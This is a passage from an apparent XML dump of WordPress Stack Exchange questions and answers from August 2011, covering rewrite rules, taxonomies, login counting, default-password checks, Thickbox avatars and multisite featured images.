$category-&amp;gt;name .': '.get_the_title( $post-&amp;gt;ID ).'&amp;lt;/a&amp;gt;'.'&amp;lt;br /&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query returns the categories in the order you want, sorted by most recent post, along with the post ID of the most recent post in that category, which you can then use to get the post thumbnail or whatever other data you want from it (I also echoed the post title in my example, just to show how it can be done).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-19T22:15:11.767" CommentCount="2" />
  <row Id="26388" PostTypeId="1" AcceptedAnswerId="26394" CreationDate="2011-08-19T22:24:08.397" Score="0" ViewCount="31" Body="&lt;p&gt;I have a very peculiar requirement, hopefully I can explain it without being too confusing. I created a page template where I list some properties I get from an external XML file, so far no problems, let's say the URL is like this: &lt;a href=&quot;http://www.mysite.com/properties/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/properties/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each property has a link that should redirect the user to a &quot;Single Property&quot; page that displays more info about it, what I was wondering is if there's a way to make the link like this &lt;a href=&quot;http://www.mysite.com/properties/123&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/properties/123&lt;/a&gt; ? Where &quot;123&quot; would be the id of the property, basically if I have the url like properties/some_id I want to be able to load a view file (like the single.php or page.php files) but specific to this url condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-08-19T23:44:23.493" Title="How to create custom URL routes?" Tags="&lt;url-rewriting&gt;&lt;template&gt;&lt;rewrite-rules&gt;&lt;mod-rewrite&gt;&lt;template-redirect&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="26389" PostTypeId="1" CreationDate="2011-08-19T22:30:56.700" Score="0" ViewCount="28" Body="&lt;p&gt;I have a custom post type called &quot;Country Story&quot;. The title of which will be the name of the country. I want Wordpress to automatically create a new taxonomy called &quot;country&quot; of the same name, i.e. a Country Story called Thailand is created, so I want WP to create a Country taxonomy called Thailand as well. The Country taxonomy already setup. I have the code below so far. It does what I want except I don't know how to get the title during the action hook for publishing the post to pass on to the $cat variable. Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_country_category_automatically($post_ID) {&#xA;global $wpdb;&#xA;if(!has_term('','country',$post_ID)){&#xA;    $cat = &quot;get title of Country Story published to pass on to Country category&quot;;&#xA;    wp_set_object_terms($post_ID, $cat, 'country');&#xA;}&#xA;}&#xA;add_action('publish_country-story', 'add_country_category_automatically');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6953" LastActivityDate="2011-08-20T00:39:15.373" Title="automatically create taxonomy with same name as post title" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="26390" PostTypeId="2" ParentId="26385" CreationDate="2011-08-19T22:33:49.957" Score="0" ViewCount="" Body="&lt;p&gt;The question is, how are you setting the default passwords? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think it would be perfectly reasonable to trigger a scheduled action in say, a weeks time from the date you create the user. It should be pretty simple, something like this would probably do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_register', 'check_in_a_week' );&#xA;&#xA;function check_in_a_week( $user_id ) {&#xA;    $user = get_user_by( 'id', $user_id );&#xA;    wp_schedule_single_event( 'user_password_check', 7*24*60*60, &#xA;        array( 'user_id' =&amp;gt; $user_id, 'user_pass' =&amp;gt; $user-&amp;gt;user_pass ) );&#xA;}&#xA;&#xA;function user_password_check( $args ) {&#xA;    extract( $args );&#xA;    $user = get_user_by( 'id', $user_id );&#xA;    if ( $user-&amp;gt;user_pass == $user_pass ) {&#xA;&#xA;        // send them mail...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I didn't test it yet, so I'm not sure if it will stand up to real use. Treat it as pseudo-code for what you're trying to do.)&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-08-20T00:00:50.740" LastActivityDate="2011-08-20T00:00:50.740" CommentCount="1" />
  <row Id="26391" PostTypeId="1" AcceptedAnswerId="26393" CreationDate="2011-08-19T23:09:07.870" Score="0" ViewCount="30" Body="&lt;p&gt;I'd like to determine how many times a user has logged in. Does WordPress retain that information or will I have to add a db entry every time they log-in?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_user_logged_in() &amp;amp;&amp;amp; ($logged_in_times == 2)) {&#xA;    // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-19T23:32:45.400" Title="Find out how many times the user has logged in" Tags="&lt;mysql&gt;&lt;login&gt;&lt;user&gt;" AnswerCount="1" />
  <row Id="26392" PostTypeId="2" ParentId="26385" CreationDate="2011-08-19T23:13:34.300" Score="0" ViewCount="" Body="&lt;p&gt;The following will tell you if the user has updated the password generated by WP on registration for a user with ID &lt;code&gt;$user_id&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! get_user_option('default_password_nag', $user_id) ) {&#xA;    //then the user has changed the default password&#xA;} else {&#xA;    //the default password has not been changed&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to send an email @goldenapples' answer is good (replacing the logic in &lt;code&gt;user_password_check&lt;/code&gt; for checking whether the password has been changed with my logic.)&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-19T23:13:34.300" CommentCount="5" />
  <row Id="26393" PostTypeId="2" ParentId="26391" CreationDate="2011-08-19T23:32:45.400" Score="2" ViewCount="" Body="&lt;p&gt;I don't think so.  You will need to do something like this (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;wp_login&quot;, &quot;my_login_function&quot;);&#xA;&#xA;function my_login_function($username){&#xA;   $userdata = get_user_by('login', $username);&#xA;   $n = get_user_meta($userdata-&amp;gt;ID, &quot;my_login_counter&quot;, true);&#xA;   if (! is_numeric($n)) $n = 0;&#xA;   $n = intval($n) + 1;&#xA;   update_user_meta($userdata-&amp;gt;ID, &quot;my_login_counter&quot;, $n);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-19T23:32:45.400" />
  <row Id="26394" PostTypeId="2" ParentId="26388" CreationDate="2011-08-19T23:44:23.493" Score="1" ViewCount="" Body="&lt;p&gt;Add this to your theme's functions.php, or &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;put it in a plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse26388_rewrites_init' );&#xA;function wpse26388_rewrites_init(){&#xA;    add_rewrite_rule(&#xA;        'properties/([0-9]+)/?$',&#xA;        'index.php?pagename=properties&amp;amp;property_id=$matches[1]',&#xA;        'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse26388_query_vars' );&#xA;function wpse26388_query_vars( $query_vars ){&#xA;    $query_vars[] = 'property_id';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds a rewrite rule which directs requests to &lt;code&gt;/properties/&lt;/code&gt; with any combination of numbers following to pagename &lt;code&gt;properties&lt;/code&gt;, with the query var &lt;code&gt;property_id&lt;/code&gt; set. Just be sure to visit your permalinks settings page and save to flush rewrite rules, so this new rule will be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;page-properties.php&lt;/code&gt; template, &lt;code&gt;get_query_var('property_id')&lt;/code&gt; will return the property id if it was set, if it's not then show the default properties page.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-19T23:44:23.493" />
  <row Id="26395" PostTypeId="1" CreationDate="2011-08-20T00:13:08.500" Score="0" ViewCount="36" Body="&lt;p&gt;Okay i'm having a bit of a catogorisation/taxonomy/filtering problem here and am at loss on how to solve this. &#xA;I hope someone could help me on the way a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I've got a blog about food, with a few main subjects;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;thai food&lt;/li&gt;&#xA;&lt;li&gt;indian food&lt;/li&gt;&#xA;&lt;li&gt;greek food&lt;/li&gt;&#xA;&lt;li&gt;mexican food&lt;/li&gt;&#xA;&lt;li&gt;french food&lt;/li&gt;&#xA;&lt;li&gt;spanish food&lt;/li&gt;&#xA;&lt;li&gt;fast food&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A blogpost is always tied to one or multiple of these subjects (a blogpost about a fajita is just filed under &lt;em&gt;'mexican food'&lt;/em&gt;, a blogpost on 'burrito' under both &#xA;&lt;em&gt;'mexican food'&lt;/em&gt; and &lt;em&gt;'fast food'&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are different categories like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;restaurants &lt;/li&gt;&#xA;&lt;li&gt;reviews&lt;/li&gt;&#xA;&lt;li&gt;information&lt;/li&gt;&#xA;&lt;li&gt;news&lt;/li&gt;&#xA;&lt;li&gt;take-out&lt;/li&gt;&#xA;&lt;li&gt;recipies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blogposts are also always tied to one or multiple of these categories. These categories are available through the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is, offer the visitor a possibility to filter all the content on a specific subject. If one would chose to put the filter on &lt;em&gt;'thai food'&lt;/em&gt;, all the articles returned should be about thai food. &#xA;If one would chose the category &lt;em&gt;reviews&lt;/em&gt; while the filter &lt;em&gt;'thai food'&lt;/em&gt; is on, it should only list articles about &lt;em&gt;thai food&lt;/em&gt; within the category &lt;em&gt;reviews&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the filter is set to off (or all) and one would navigate to the category &lt;em&gt;'reviews',&lt;/em&gt; articles in the category review on all different subjects should be retreived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there it is! Now I realize I might have explained this in a difficult way, but I'm a loss on how to achieve this here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I've got both the subjects as the categories as top level categories but I'm assuming a custom taxonomie might be a better solution. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit: okay to make things easier, I think I have a better idea of what should be happening here: I should detect wether the user has a filter selected (which are custom taxonomies right now) and return posts accordingly. (so something like: if thai food is selected and user clicks on category 'reviews', return a query with custom taxonomie thai food in category reviews) My main question in this case is, how do you detect if there is a taxonomie selected, and which? &#xA;Thanks!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="8051" LastEditorDisplayName="" LastEditDate="2011-08-28T00:55:43.380" LastActivityDate="2011-08-28T00:55:43.380" Title="Get current taxonomy and display query accordingly" Tags="&lt;posts&gt;&lt;categories&gt;&lt;loop&gt;&lt;filters&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="26396" PostTypeId="2" ParentId="26395" CreationDate="2011-08-20T00:29:08.040" Score="0" ViewCount="" Body="&lt;p&gt;I think you're on the right path with splitting some of your categories out to separate taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin that will give visitors a widget interface for filtering posts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/query-multiple-taxonomies/screenshot-1.png&quot; alt=&quot;Query Multiple Taxonomies Widget&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-20T00:29:08.040" CommentCount="1" />
  <row Id="26397" PostTypeId="2" ParentId="26389" CreationDate="2011-08-20T00:39:15.373" Score="1" ViewCount="" Body="&lt;p&gt;Can you not just call get_the_title() to get the title of the Country Story?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_the_title($post_ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-20T00:39:15.373" CommentCount="2" />
  <row Id="26398" PostTypeId="1" CreationDate="2011-08-20T01:09:59.050" Score="0" ViewCount="12" Body="&lt;p&gt;I've installed this plugin and have it working, I'm using the shortcode but cannot figure out how to have a link for  &quot;Older Posts&quot; or More posts&quot; or &quot;Archive&quot; appear at the bottom of each page of posts listed if there are indeed more posts in the category than the maximum displayed per page.  I want this to work similarly to how a category of posts is usually displayed where the most current are displayed and you scroll down to the &quot;Older Posts&quot; link go back into the list of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2011-08-20T01:09:59.050" Title="Add Older Posts at bottom of List Category Post page" Tags="&lt;plugin-list-category-post&gt;" />
  <row Id="26399" PostTypeId="2" ParentId="26377" CreationDate="2011-08-20T01:23:57.673" Score="1" ViewCount="" Body="&lt;p&gt;When you retrieve the data make sure to call stripslashes, or stripslashes_deep if it's an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name = stripslashes($name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-20T01:23:57.673" />
  <row Id="26400" PostTypeId="2" ParentId="26315" CreationDate="2011-08-20T01:38:35.323" Score="1" ViewCount="" Body="&lt;p&gt;I haven't tested it, but what about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule('^company/(.+)/replies/(.*)?$','index.php?pagename=replies&amp;amp;reply_id=$matches[2]','top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-20T01:38:35.323" />
  <row Id="26401" PostTypeId="2" ParentId="26315" CreationDate="2011-08-20T02:09:23.600" Score="2" ViewCount="" Body="&lt;p&gt;Using &lt;code&gt;add_rewrite_rule&lt;/code&gt; only is not enough. It only adds a new rewrite rule to WP. But you need to register new query variable (in your situation, it's &lt;code&gt;reply_id&lt;/code&gt;) and parse the request to catch that query variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jan Fabry has posted a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9870/how-do-you-create-a-virtual-page-in-wordpress/9959#9959&quot;&gt;detailed sample&lt;/a&gt; for creating custom rewrite rule, I think it contains all you need.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-20T02:09:23.600" CommentCount="2" />
  <row Id="26402" PostTypeId="1" CreationDate="2011-08-20T03:49:26.707" Score="1" ViewCount="25" Body="&lt;p&gt;I originally asked this Q over at theme hybrid, Justin suggested I ask in here, he suggested javascript may be my best option, has anyone had any success in implementing the following?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I were to have a community based site with multiple authors, is it possible to make all the fields inside the post area a required element before the post can be published?&#xA;for example, the author must add at least one tag, include the title, description and keywords in the meta, and choose the category.&#xA;Most of these requests would be fairly easy to explain, that the author needs to fill in these details but I am sure, and I know this from experience, many people will just not bother with filling in some of the necessary elements for publishing a post.&#xA;If I could set up a required field function that would force the user to fill in these details before the post will be published it would certainly save quite a few headaches.&#xA;Cheers. &lt;/p&gt;&#xA;" OwnerUserId="8055" LastActivityDate="2011-08-20T03:49:26.707" Title="Setting Required Fields When Writing a Post" Tags="&lt;post-meta&gt;" CommentCount="3" />
  <row Id="26403" PostTypeId="1" CreationDate="2011-08-20T03:57:09.897" Score="0" ViewCount="9" Body="&lt;p&gt;This &lt;a href=&quot;http://bbpress.org/forums/topic/avatar-upload-how-to-install?replies=16#post-90987&quot; rel=&quot;nofollow&quot;&gt;forum thread&lt;/a&gt; teaches you how to add a link in the front end to modify the user's avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you need to add the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Upload user avatar&#xA; */&#xA;function tb_enqueue() {&#xA; wp_enqueue_script(‘jquery’);&#xA; wp_enqueue_script(‘thickbox’);&#xA;}&#xA;&#xA;function tb_inject() {&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?= get_option(‘siteurl’); ?&amp;gt;/&amp;lt;?= WPINC; ?&amp;gt;/js/thickbox/thickbox.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var tb_pathToImage = &quot;&amp;lt;?= get_option(‘siteurl’); ?&amp;gt;/&amp;lt;?= WPINC; ?&amp;gt;/js/thickbox/loadingAnimation.gif&quot;;&#xA;var tb_closeImage = &quot;&amp;lt;?= get_option(‘siteurl’); ?&amp;gt;/&amp;lt;?= WPINC; ?&amp;gt;/js/thickbox/tb-close.png&quot;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action(‘wp_head’, ‘tb_enqueue’, 1);&#xA;add_action(‘wp_footer’, ‘tb_inject’, 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;single-user-edit (bbpress 2.0):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php bbp_get_template_part( 'bbpress/content', 'single-user-edit' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div id=&quot;user-avatar-display&quot; &amp;gt;&#xA;   &amp;lt;p id=&quot;user-avatar-display-image&quot;&amp;gt;&amp;lt;?php echo get_avatar( $current_user-&amp;gt;ID, 150);?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;a id=&quot;user-avatar-link&quot; class=&quot;button thickbox&quot; href=&quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;?action=user_avatar_add_photo&amp;amp;step=1&amp;amp;uid=&amp;lt;?php echo $current_user-&amp;gt;ID; ?&amp;gt;&amp;amp;TB_iframe=true&amp;amp;width=720&amp;amp;height=450&quot; title=&quot;Personalizează-ţi Avatarul&quot; &amp;gt;Modify your avatar&amp;lt;/a&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   function user_avatar_refresh_image(img){&#xA;   jQuery('#user-avatar-display-image').html(img);&#xA;   }&#xA;   &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.bbp-single-user-edit { position:relative; }&#xA;#user-avatar-display { position:absolute; top:160px; right:20px; text-align:center; width:155px; }&#xA;#user-avatar-display a { color:#000; text-decoration:none; text-align:center; };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, everything works OK, except that when I click Modify your avatar. I'm sent to a new page. The thickbox doesn't pop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the reason of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                   &amp;lt;div id=&quot;user-avatar-display&quot; &amp;gt; &#xA;                    &amp;lt;p id=&quot;user-avatar-display-image&quot;&amp;gt;&amp;lt;img src=&quot;http://localhost/taiwantalk-beta/wp-content/plugins/user-avatar/user-avatar-pic.php?id=1&amp;amp;#038;w=150&amp;amp;#038;random=1313810003&quot; alt=&quot;&quot; class=&quot; avatar  avatar-150  user-1-avatar&quot; width=&quot;150&quot; height=&quot;150&quot; /&amp;gt;&amp;lt;/p&amp;gt; &#xA;                    &amp;lt;a id=&quot;user-avatar-link&quot; class=&quot;button thickbox&quot; href=&quot;http://localhost/taiwantalk-beta/wp-admin/admin-ajax.php?action=user_avatar_add_photo&amp;amp;step=1&amp;amp;uid=1&amp;amp;TB_iframe=true&amp;amp;width=720&amp;amp;height=450&quot; title=&quot;Personalizează-ţi Avatarul&quot; &amp;gt;Modify your avatar&amp;lt;/a&amp;gt; &#xA;                    &amp;lt;/div&amp;gt; &#xA;                    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;                    function user_avatar_refresh_image(img){&#xA;                    jQuery('#user-avatar-display-image').html(img);&#xA;                    }&#xA;                    &amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7902" LastEditorUserId="7902" LastEditorDisplayName="" LastEditDate="2011-08-20T04:20:29.703" LastActivityDate="2011-08-20T04:20:29.703" Title="Thickbox is not popping up in a link that changes the user's avatar?" Tags="&lt;avatar&gt;&lt;thickbox&gt;" />
  <row Id="26405" PostTypeId="2" ParentId="26362" CreationDate="2011-08-20T04:55:45.277" Score="4" ViewCount="" Body="&lt;p&gt;You can use ShrimpTest for this. Basically, you need to reverse the test idea. You're making three separate posts, one of which will be displayed on the front page. That means that two others will &lt;em&gt;not&lt;/em&gt; be displayed on the front page. So you're doing an exclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say your three posts have id's of 101, 102, and 103. You'd set up a test and use the manual PHP mode. Then in your index.php file (or whatever is displaying on your homepage), you'd do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variant = shrimptest_get_variant( 1 ); // this will be the test number&#xA;switch ( $variant ) {&#xA;  case 0:&#xA;    $exclude = array(102,103); // show post 101&#xA;    break;&#xA;  case 1:&#xA;    $exclude = array(101,103); // show post 102&#xA;    break;&#xA;  default:&#xA;    $exclude = array(101,102); // show post 103&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then something like &lt;code&gt;query_posts(array('exclude'=&amp;gt;$exclude))&lt;/code&gt; or similar to modify your main query. You don't really explain in your question how you're showing these, so I can't be sure of this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ShrimpTest is generic. It &lt;em&gt;can&lt;/em&gt; test anything. You just have to write the code for what you're testing yourself.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-20T04:55:45.277" CommentCount="2" />
  <row Id="26406" PostTypeId="1" CreationDate="2011-08-20T07:01:29.317" Score="0" ViewCount="21" Body="&lt;p&gt;Is there any way that I could execute some code just after a new post is inserted? (i.e to perform some checks on the attachments included etc...) Specifically I'd want to check if it has attachments or not, and if so, if there's one and only one. &#xA;My second question is Would the use of XML-RPC protocol make a difference for that matter? I'd like iphone users that makes use of the wordpress app to be able to submit a post but with the number of images per post to be restricted to one as well.&lt;br&gt;&#xA;Thank you very much in advance&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2011-08-20T07:01:29.317" Title="code to be executed after insertion" Tags="&lt;wp-insert-post&gt;" CommentCount="2" />
  <row Id="26407" PostTypeId="1" CreationDate="2011-08-20T09:19:27.867" Score="0" ViewCount="18" Body="&lt;p&gt;I try to embed a flickr video into my blogpost. I follow this simple guide: &lt;a href=&quot;http://en.support.wordpress.com/videos/flickr-video/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/videos/flickr-video/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, the shortcode just appears as text (is not interpreted as shortcode) in my post:&#xA;&lt;a href=&quot;http://www.mabulous.net/?p=204&amp;amp;preview=true&quot; rel=&quot;nofollow&quot;&gt;http://www.mabulous.net/?p=204&amp;amp;preview=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vimeo and youtube videos work just fine.&lt;/p&gt;&#xA;" OwnerUserId="8058" LastEditorUserId="8058" LastEditorDisplayName="" LastEditDate="2011-08-20T10:16:15.403" LastActivityDate="2011-08-20T10:16:15.403" Title="flickr video shortcode not working" Tags="&lt;videos&gt;&lt;flickr&gt;" CommentCount="2" />
  <row Id="26408" PostTypeId="1" CreationDate="2011-08-20T09:44:32.787" Score="0" ViewCount="11" Body="&lt;p&gt;I have lots of child categories with parents categories left empty (i mean not checked when i publish a post). I would like to use &quot;get_most_viewed_category&quot; to display most viewed post for a category including child categories but this seems impossibile to reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some trick to show parent and child categories most viewed post with &quot;get_most_viewed_category function&quot;? Alternatively, is there a way to pass multiple categories ids to &quot;get_most_viewed_category&quot; function?&lt;/p&gt;&#xA;" OwnerUserId="8059" LastActivityDate="2011-08-20T09:44:32.787" Title="How can i include child categories in wp-postviews?" Tags="&lt;categories&gt;" />
  <row Id="26409" PostTypeId="1" CreationDate="2011-08-20T10:26:32.547" Score="0" ViewCount="25" Body="&lt;p&gt;With the wp_update_term_count_now, how can I use the update_count_callback to specify my own count. I need to include counts from another database that the current database category is able to display. The current categories may not have any posts in them, but are able to be viewed showing posts from the same category in another database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not entirely sure how to pass the call back to the wp_update_term_count_now nor what is should contain - does it just need a new count?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-08-20T22:22:01.593" Title="Update term count using a callback function" Tags="&lt;categories&gt;&lt;terms&gt;&lt;callbacks&gt;" AnswerCount="1" />
  <row Id="26410" PostTypeId="2" ParentId="20376" CreationDate="2011-08-20T13:35:16.250" Score="1" ViewCount="" Body="&lt;p&gt;Yes, there is a way to do this, since version 0.8:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Connection-ordering&quot; rel=&quot;nofollow&quot;&gt;https://github.com/scribu/wp-posts-to-posts/wiki/Connection-ordering&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-20T13:35:16.250" />
  <row Id="26411" PostTypeId="1" CreationDate="2011-08-20T14:21:39.773" Score="0" ViewCount="15" Body="&lt;p&gt;I am trying to make a post. If I preview, save, or publish the post, I get directed to &lt;code&gt;http://www.domain.org/wp-admin/post.php&lt;/code&gt; and a 404 error page. A draft of the post is not saved. I haven't changed anything recently, and it's been working fine, what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post is small (in fact, if I reduce it to a single line of text I still have the same error). The server is not overloaded by any means (the site gets next to no traffic).&lt;/p&gt;&#xA;" OwnerUserId="7091" LastActivityDate="2011-08-20T14:21:39.773" Title="Posting, Saving a Draft, or Previewing gives a 404" Tags="&lt;posts&gt;&lt;404&gt;" />
  <row Id="26414" PostTypeId="1" CreationDate="2011-08-20T15:24:26.163" Score="-3" ViewCount="27" Body="&lt;p&gt;I have done as suggested but get this error Warning: array_key_exists() [function.array-key-exists]: The second argument should be either an array or an object*strong text*&lt;/p&gt;&#xA;" OwnerUserId="8061" LastActivityDate="2011-08-20T15:24:26.163" ClosedDate="2011-08-20T18:55:49.880" Title="Problems with code" Tags="&lt;php&gt;" CommentCount="1" />
  <row Id="26415" PostTypeId="1" CreationDate="2011-08-20T15:46:53.693" Score="0" ViewCount="13" Body="&lt;p&gt;I have a MU install, the admin for my main site (site.com) shows the Featured Image Meta Box, but the admin for the subsites (site.com/blog1) the F.I.M.B. is not shown or available in the screen options tab..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sites run the same theme and with the same settings.&#xA;The sites both run a (the same) child theme, and the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_theme_support('post-thumbnails');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is defined in the Parent theme (framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like the &lt;code&gt;add_theme_support('post-thumbnails');&lt;/code&gt; only has effect on the main site in my network.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this a known problem, or should I start to dig for bugs in mu setup?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-20T17:50:46.110" LastActivityDate="2011-08-20T18:05:58.613" Title="featured image metabox MU" Tags="&lt;multisite&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
